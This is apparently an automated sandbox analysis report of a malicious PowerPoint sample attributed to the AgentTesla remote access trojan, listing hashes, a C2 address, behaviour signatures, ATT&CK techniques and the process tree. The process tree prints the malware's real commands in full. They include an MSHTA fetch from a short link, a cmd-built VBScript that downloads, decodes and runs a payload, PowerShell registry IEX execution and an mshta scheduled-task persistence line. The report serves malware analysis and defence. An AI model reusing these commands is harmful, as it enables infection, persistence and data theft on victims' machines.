Analysis

  • max time kernel
    150s
  • max time network
    141s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    05-03-2021 10:32

General

  • Target

    sample_.ppt

  • Size

    225KB

  • MD5

    9cf2b594c4e731c42a98cd29eff24691

  • SHA1

    3bb1e6523e6eee97e694cc0b3c557ecd6f954077

  • SHA256

    d0f2cb812f55b2091f4df2b6a5e69e420c7ccc3ad7378e85d7c3e24066d78a50

  • SHA512

    6e1175baf005f6c9d1d35edde84b641f63ef80b58d6bf5d75c35abe8664f5935474133c02a3b04dc760e8269d04739418e31fe332f79c8f5305ea0c9137937be

Malware Config

Extracted

Family

agenttesla

C2

http://103.133.105.179/3535/inc/e93cc142f47fdc.php

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • AgentTesla Payload 3 IoCs
  • Blocklisted process makes network request 12 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Adds Run key to start application 2 TTPs 6 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Kills process with taskkill 2 IoCs
  • Modifies Internet Explorer settings 1 TTPs 10 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Runs ping.exe 1 TTPs 2 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 57 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\sample_.ppt"
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of WriteProcessMemory
    PID:1908
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1528
      • C:\Windows\SysWOW64\MSHTA.exe
        MSHTA http://12384928198391823%12384928198391823@j.mp/dokdwkkwkdwkdcnduskdkwk
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Adds Run key to start application
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:856
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c cd C:\Users\Public &@echo dim http_obj >>SiggiaW.vbs &@echo dim stream_obj >>SiggiaW.vbs &@echo dim shell_obj >>SiggiaW.vbs &@echo set http_obj = CreateObject("Microsoft.XMLHTTP") >>SiggiaW.vbs &@echo set stream_obj = CreateObject("ADODB.Stream") >>SiggiaW.vbs &@echo set shell_obj = CreateObject("WScript.Shell") >>SiggiaW.vbs &@echo URL = "https://ia801408.us.archive.org/25/items/defender_202103/defender.txt" >>SiggiaW.vbs &@echo http_obj.open "GET", URL, False >>SiggiaW.vbs &@echo http_obj.send >>SiggiaW.vbs &@echo stream_obj.type = 1 >>SiggiaW.vbs &@echo stream_obj.open >>SiggiaW.vbs &@echo stream_obj.write http_obj.responseBody >>SiggiaW.vbs &@echo stream_obj.savetofile "C:\Users\Public\1.txt", 2 >>SiggiaW.vbs &@echo Dim xxx >>SiggiaW.vbs &@echo Set xxx = CreateObject("Scripting.FileSystemObject") >>SiggiaW.vbs &@echo Set file = xxx.OpenTextFile("C:\Users\Public\FIX.VBS", 1) >>SiggiaW.vbs &@echo content = file.ReadAll >>SiggiaW.vbs &@echo content = StrReverse(content) >>SiggiaW.vbs &@echo Dim fso >>SiggiaW.vbs &@echo Dim fdsafdsa >>SiggiaW.vbs &@echo Dim oNode, fdsaa >>SiggiaW.vbs &@echo Const adTypeBinary = 1 >>SiggiaW.vbs &@echo Const adSaveCreateOverWrite = 2 >>SiggiaW.vbs &@echo Set oNode = CreateObject("Msxml2.DOMDocument.3.0").CreateElement("base64") >>SiggiaW.vbs &@echo oNode.dataType = "bin.base64" >>SiggiaW.vbs &@echo oNode.Text = content >>SiggiaW.vbs &@echo Set fdsaa = CreateObject("ADODB.Stream") >>SiggiaW.vbs &@echo fdsaa.Type = adTypeBinary >>SiggiaW.vbs &@echo tempdir = CreateObject("WScript.Shell").ExpandEnvironmentStrings("C:\Users\Public\bin.vbs") >>SiggiaW.vbs &@echo LocalFile = tempdir >>SiggiaW.vbs &@echo fdsaa.Open >>SiggiaW.vbs &@echo fdsaa.Write oNode.nodeTypedValue >>SiggiaW.vbs &@echo fdsaa.SaveToFile LocalFile, adSaveCreateOverWrite >>SiggiaW.vbs &@echo Set fso = CreateObject("Scripting.FileSystemObject") >>SiggiaW.vbs &@echo Set fdsafdsa = CreateObject("WScript.Shell") >>SiggiaW.vbs &@echo If (fso.FileExists(LocalFile)) Then >>SiggiaW.vbs &@echo fdsafdsa.RUN (LocalFile) >>SiggiaW.vbs &@echo End If>>SiggiaW.vbs& SiggiaW.vbs &dEl SiggiaW.vbs
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1216
          • C:\Windows\SysWOW64\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\Users\Public\SiggiaW.vbs"
            4⤵
            • Blocklisted process makes network request
            • Modifies system certificate store
            PID:1972
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit ((gp HKCU:\Software).cutona)|IEX
          3⤵
          • Blocklisted process makes network request
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1876
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
            4⤵
            • Drops file in Drivers directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of SetWindowsHookEx
            PID:2876
        • C:\Windows\SysWOW64\taskkill.exe
          "C:\Windows\System32\taskkill.exe" /f /im Excel.exe
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:2088
        • C:\Windows\SysWOW64\taskkill.exe
          "C:\Windows\System32\taskkill.exe" /f /im winword.exe
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:2112
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit ((gp HKCU:\Software).btfee)|IEX
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:564
        • C:\Windows\SysWOW64\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""tutipajikhana"" /F /tr ""\""mshta\""vbscript:Execute("\"CreateObject(""\""Wscript.Shell""\"").Run ""\""mshta http://1230948%1230948@mylundisfarbigthenyouthink.blogspot.com/p/14.html""\"", 0 : window.close"\")
          3⤵
          • Creates scheduled task(s)
          PID:1700
      • C:\Windows\SysWOW64\ping.exe
        ping
        2⤵
        • Process spawned unexpected child process
        • Runs ping.exe
        PID:912
      • C:\Program Files (x86)\Microsoft Office\Office14\winword.exe
        winword
        2⤵
        • Drops file in Windows directory
        • Suspicious behavior: AddClipboardFormatListener
        • Suspicious use of SetWindowsHookEx
        PID:888
      • C:\Windows\SysWOW64\ping.exe
        ping 127.0.0.1
        2⤵
        • Process spawned unexpected child process
        • Runs ping.exe
        PID:1584

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Execution

    Scheduled Task

    1
    T1053

    Persistence

    Registry Run Keys / Startup Folder

    1
    T1060

    Scheduled Task

    1
    T1053

    Privilege Escalation

    Scheduled Task

    1
    T1053

    Defense Evasion

    Modify Registry

    3
    T1112

    Install Root Certificate

    1
    T1130

    Discovery

    System Information Discovery

    1
    T1082

    Remote System Discovery

    1
    T1018

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
      MD5

      41fb0fd47ed93581ce0ad3d182428558

      SHA1

      0dc59b69c65d48aff49414d5cdfbd202512375a1

      SHA256

      fea9bfe34aaa504b3f318d12e9b9183db4d91cc8bf64fb8e8d040adff5502b6c

      SHA512

      bb746c5c815737783fa319cf8fd3c84dfae28cb3a2aa15620defaaade60416cde2dabce9f4b105d818fa44aca225e479a6beb90b39b7995279eb6abdc88da577

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3bf4f350-86fe-486e-8b87-41ab96d0ad9c
      MD5

      b6d38f250ccc9003dd70efd3b778117f

      SHA1

      d5a17c02cac698d4f0a4a9b7d71db2aa19e3f18a

      SHA256

      4de9d7b5ccab7b67ca8efc83084c7ee6e5e872b7216ed4683bc5da950bf41265

      SHA512

      67d8195836b7f280d3f9219fd0f58276342e55d5dfdd8a4c54355030d96685d73f1b2b6da0eb39322ec7c3a1d1c5ef06b52d22646cea30a96f822de1800d31e9

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4408bb97-19ee-4815-b02c-5a0939dddad8
      MD5

      df44874327d79bd75e4264cb8dc01811

      SHA1

      1396b06debed65ea93c24998d244edebd3c0209d

      SHA256

      55de642c5c9e436ec01c57004dae797022442c3245daf7162d19a5585f221181

      SHA512

      95dc9298b8db059bbe746f67e6a7f8515781c7053cc60c01532e47623a996be7e1bd23d1bd8f5f2045adff27454f44930d503c15b695690088841cedbd2a06c3

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_644b5728-e9b5-45ab-9104-7136ec814422
      MD5

      be4d72095faf84233ac17b94744f7084

      SHA1

      cc78ce5b9c57573bd214a8f423ee622b00ebb1ec

      SHA256

      b0d72c5c22e57913476ac8fc686a4593f137c6667d5094522c0a0685dabd7adc

      SHA512

      43856e9b1032b8690ceea810c931bed3655e9190414bb220fb6afc136f31b8335e07604dffb28405d4006f266a54cff424c527d29924b1b732c9647a3252b097

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6532a425-51ae-4577-837f-c6e09d9fcfcf
      MD5

      75a8da7754349b38d64c87c938545b1b

      SHA1

      5c28c257d51f1c1587e29164cc03ea880c21b417

      SHA256

      bf08151c174b5d00c9dbc7907b2c6a01b4be76bfa3afce1e8bd98a04ad833c96

      SHA512

      798797bc74c56c874e9a5fdcb0157c04e37a1b3cce285ef064b01bceef8cec45f11a5198918c6c647220b62883606b5e12e3cca3ea369f3a66e69dea6e15f643

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_69670b6c-d49a-42a9-993a-10d18807f7c6
      MD5

      5e3c7184a75d42dda1a83606a45001d8

      SHA1

      94ca15637721d88f30eb4b6220b805c5be0360ed

      SHA256

      8278033a65d1ff48be4d86e11f87930d187692f59f8bf2f0a9d170de285afb59

      SHA512

      fae99b6e9b106e0f1c30aa4082b25ae1ad643455c1295c2c16ad534e3e611b9b08492353ffe1af1cfdddc9b2b7c330747a64012c45e62b8f4a4982dcc214e05b

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7f45a795-9723-4ae3-b7ea-79ea7f92b87a
      MD5

      a725bb9fafcf91f3c6b7861a2bde6db2

      SHA1

      8bb5b83f3cc37ff1e5ea4f02acae38e72364c114

      SHA256

      51651f27f54c7261887037aa1de4eff0a26c6807906dfc34a15cd5a0b58a8431

      SHA512

      1c4b21dd5660bfec8347257bb3da64681b0a97c427790d9ab3484f687dac032bcff0e07876635953697b00cf83e7d37f97c44e0219627fd0533f60ed3024b97e

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_aacd219d-c7ba-43ff-a67c-9ddc2f632d63
      MD5

      597009ea0430a463753e0f5b1d1a249e

      SHA1

      4e38b8bb65ecbd5c9f0d3d8c47f7caba33de6c62

      SHA256

      3fd2a8217a845c43dbc0dc206c28be81d2687aa9ba62019d905aef10cfaec45d

      SHA512

      5d722fa908e64575b2497c60d142e182011a10c6ed33813b3b4796b3147ece1bc96938518b4c8911a1bac3b7560528ebe3e8e754c11015516d335df5d7c6871d

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_adf30dc9-e160-42d2-b079-9e9557c7ad4a
      MD5

      7f79b990cb5ed648f9e583fe35527aa7

      SHA1

      71b177b48c8bd745ef02c2affad79ca222da7c33

      SHA256

      080ec69d3f2abac629a0bdc314f150ad42a9a1b0a031b1d5c7b5b80051c48683

      SHA512

      20926edf7f0b990da4bd8d7ba91bd8bf7b952b75080f687afa7197a91777604688303d38b4a0a7240b558c23f2e0cd927d3590765109f8be0551f5eb050eafda

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_cfac77b3-436e-4d54-b773-ff29512081d6
      MD5

      d89968acfbd0cd60b51df04860d99896

      SHA1

      b3c29916ccb81ce98f95bbf3aa8a73de16298b29

      SHA256

      1020cc7c929cd5a4e68ccb40353ca76f427df363f0d95e456eb79db039bdb2b9

      SHA512

      b0e886cce598371b59131fed1535e220c798691bad93ef9474ba440066f5a6bd77a60966604b7a5ff6298b2e200c9dd0c8f9f04aff208b2af423480ead4e8842

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_dd1f5154-0e5a-4526-ba8c-6b424472165d
      MD5

      354b8209f647a42e2ce36d8cf326cc92

      SHA1

      98c3117f797df69935f8b09fc9e95accfe3d8346

      SHA256

      feae405d288fdd38438f9d9b54f791f3ce3805f1bb88780da5aca402ad372239

      SHA512

      420be869b58e9a7a2c31f2550ac269df832935692a6431d455a10d9b426781e79d91e30ace2c465633b8a7ff2be1bf49734d8b99a390090dc4b36411d4391ff0

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e9f9468a-8cbd-4472-b808-e8b3772f4134
      MD5

      02ff38ac870de39782aeee04d7b48231

      SHA1

      0390d39fa216c9b0ecdb38238304e518fb2b5095

      SHA256

      fbd66a9baf753db31b8de23f2d51b67f8676687503653103080c45b16f1dc876

      SHA512

      24a1ff76ee42ff7a5ea42843928c4df07b06178f7781cd840e1e086e88735d81506eb67259ff1e6ce5aaa7c5baea03886da265eb7e025ff4dc4c4b5f8cd3e341

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
      MD5

      1b1be97ec1a34199a5db84a0e4598785

      SHA1

      31ea6ad8c72e803bcb836f9b8257206896735cb4

      SHA256

      834808f123d44e962b383c0c5c483702d8b60e3cb081703e49355f006bfe54f3

      SHA512

      d2ae3061762b1de2441698d96f1a9653b6df338105789bf8a08cd851cffd4595c70c4ead996f669aefd6e46ac629955fd56cfa17f23e5eb41851ff7859c361aa

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
      MD5

      6bb2a4008f8da6c5223121268987321c

      SHA1

      693ebaec23a8300df59fe5510dd110dac19140fb

      SHA256

      65b4f2c25b69439b80df624298862929f91d559121f7f3ff8888ce5feb47afce

      SHA512

      4a62ad100836e47e8790ecc999a92c9e17cb3255cb1814e0589e6a086aa6fc3533c7c501825ed96520dd2a570f880d5bc3f41b5ca7bf3123dd25e9cbc442075c

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
      MD5

      6ec7be5ac52b8b8f7f2025e60c1b50f9

      SHA1

      91524c72398e23766eb645a9c9d06f931e929895

      SHA256

      1b5b4da304b3de166bad55d4c3507d8ecb46bf161fae9edb1b2e4670b9eb3eec

      SHA512

      4d01c27aa0aa6fc401217deda49591348a42c2b99fc782b5d7d3e7f574cd004024a8596def5f9c692464edc3ffc203908212e934ab525bac96aeb8f8c676141a

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
      MD5

      8039aa5351df722e2808d4405866e788

      SHA1

      22408b503bfc6138ef043a1e646012111a41abc9

      SHA256

      0bfeefb666a02588e95398459c32ce18bc58fd17515bfe45a51377b31ad05650

      SHA512

      f5ec43dd679173a08930c19bd8c21521715f3818e62027103523ce9b2a427ff1d8386144fb3bea48888f7ae7bef04af8164cea05c2f217cad0df0c7f89f0d7ea

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
      MD5

      ddfa15daffc6fae04fd3446a886cd02b

      SHA1

      6435159cfef196a06e610b9d199dd1f0e4664de8

      SHA256

      0589a57fc21661dd7dbf8c60bfc6ec1a29927f3021e884147cb5b7bcf85ad2ae

      SHA512

      8c3ae5fbe6fe3f5a0212e4fd2f603b28726d9fb03de11d7ac506a7ab449164ad173c6528c765b2d4707d0d68b5253db1639167c5c20bfe6e87d3e1137b422fee

    • C:\Users\Public\SiggiaW.vbs
      MD5

      49744d1b597f85a2691eeeccab3f5ec9

      SHA1

      53be659955bdf552d103ddd2251f97920c4830bd

      SHA256

      09af8affea2e91779fc5bd8e45c8eb4274f6cb0fe78cb96c77586f988958fb6f

      SHA512

      7d6036c802670bca691b26e3f22badfce85641354d67d460d38ff26edef248bcc6a51bf81406b11f2b6972525f8af6dfdcc26f298438280d001b03292f767e3f

    • memory/564-39-0x0000000000D72000-0x0000000000D73000-memory.dmp
      Filesize

      4KB

    • memory/564-54-0x000000007EF30000-0x000000007EF31000-memory.dmp
      Filesize

      4KB

    • memory/564-61-0x00000000058E0000-0x00000000058E1000-memory.dmp
      Filesize

      4KB

    • memory/564-90-0x00000000066F0000-0x00000000066F1000-memory.dmp
      Filesize

      4KB

    • memory/564-21-0x0000000000000000-mapping.dmp
    • memory/564-91-0x0000000006700000-0x0000000006701000-memory.dmp
      Filesize

      4KB

    • memory/564-31-0x000000006B1A0000-0x000000006B88E000-memory.dmp
      Filesize

      6.9MB

    • memory/564-76-0x0000000006580000-0x0000000006581000-memory.dmp
      Filesize

      4KB

    • memory/564-33-0x0000000000980000-0x0000000000981000-memory.dmp
      Filesize

      4KB

    • memory/564-35-0x0000000000D70000-0x0000000000D71000-memory.dmp
      Filesize

      4KB

    • memory/564-53-0x0000000006340000-0x0000000006341000-memory.dmp
      Filesize

      4KB

    • memory/564-52-0x0000000005850000-0x0000000005851000-memory.dmp
      Filesize

      4KB

    • memory/564-47-0x0000000005810000-0x0000000005811000-memory.dmp
      Filesize

      4KB

    • memory/564-69-0x0000000006480000-0x0000000006481000-memory.dmp
      Filesize

      4KB

    • memory/856-8-0x0000000000000000-mapping.dmp
    • memory/888-11-0x0000000000000000-mapping.dmp
    • memory/888-12-0x0000000068631000-0x0000000068634000-memory.dmp
      Filesize

      12KB

    • memory/912-10-0x0000000000000000-mapping.dmp
    • memory/1148-9-0x000007FEF6080000-0x000007FEF62FA000-memory.dmp
      Filesize

      2.5MB

    • memory/1216-17-0x0000000000000000-mapping.dmp
    • memory/1216-18-0x0000000075781000-0x0000000075783000-memory.dmp
      Filesize

      8KB

    • memory/1528-6-0x000007FEFBA71000-0x000007FEFBA73000-memory.dmp
      Filesize

      8KB

    • memory/1528-5-0x0000000000000000-mapping.dmp
    • memory/1584-15-0x0000000000000000-mapping.dmp
    • memory/1700-20-0x0000000000000000-mapping.dmp
    • memory/1876-41-0x0000000002690000-0x0000000002691000-memory.dmp
      Filesize

      4KB

    • memory/1876-19-0x0000000000000000-mapping.dmp
    • memory/1876-96-0x00000000063B0000-0x00000000063B6000-memory.dmp
      Filesize

      24KB

    • memory/1876-40-0x00000000027D2000-0x00000000027D3000-memory.dmp
      Filesize

      4KB

    • memory/1876-37-0x0000000004890000-0x0000000004891000-memory.dmp
      Filesize

      4KB

    • memory/1876-36-0x00000000027D0000-0x00000000027D1000-memory.dmp
      Filesize

      4KB

    • memory/1876-30-0x000000006B1A0000-0x000000006B88E000-memory.dmp
      Filesize

      6.9MB

    • memory/1876-43-0x0000000005310000-0x0000000005311000-memory.dmp
      Filesize

      4KB

    • memory/1908-16-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1908-2-0x00000000740C1000-0x00000000740C5000-memory.dmp
      Filesize

      16KB

    • memory/1908-3-0x0000000071271000-0x0000000071273000-memory.dmp
      Filesize

      8KB

    • memory/1908-4-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1908-7-0x0000000001E00000-0x0000000001E01000-memory.dmp
      Filesize

      4KB

    • memory/1972-22-0x0000000000000000-mapping.dmp
    • memory/1972-103-0x00000000026D0000-0x00000000026D4000-memory.dmp
      Filesize

      16KB

    • memory/2088-23-0x0000000000000000-mapping.dmp
    • memory/2112-24-0x0000000000000000-mapping.dmp
    • memory/2876-97-0x0000000000400000-0x000000000043C000-memory.dmp
      Filesize

      240KB

    • memory/2876-98-0x0000000000437D9E-mapping.dmp
    • memory/2876-99-0x000000006B1A0000-0x000000006B88E000-memory.dmp
      Filesize

      6.9MB

    • memory/2876-100-0x0000000000400000-0x000000000043C000-memory.dmp
      Filesize

      240KB

    • memory/2876-102-0x0000000004780000-0x0000000004781000-memory.dmp
      Filesize

      4KB

    • memory/2876-104-0x0000000004781000-0x0000000004782000-memory.dmp
      Filesize

      4KB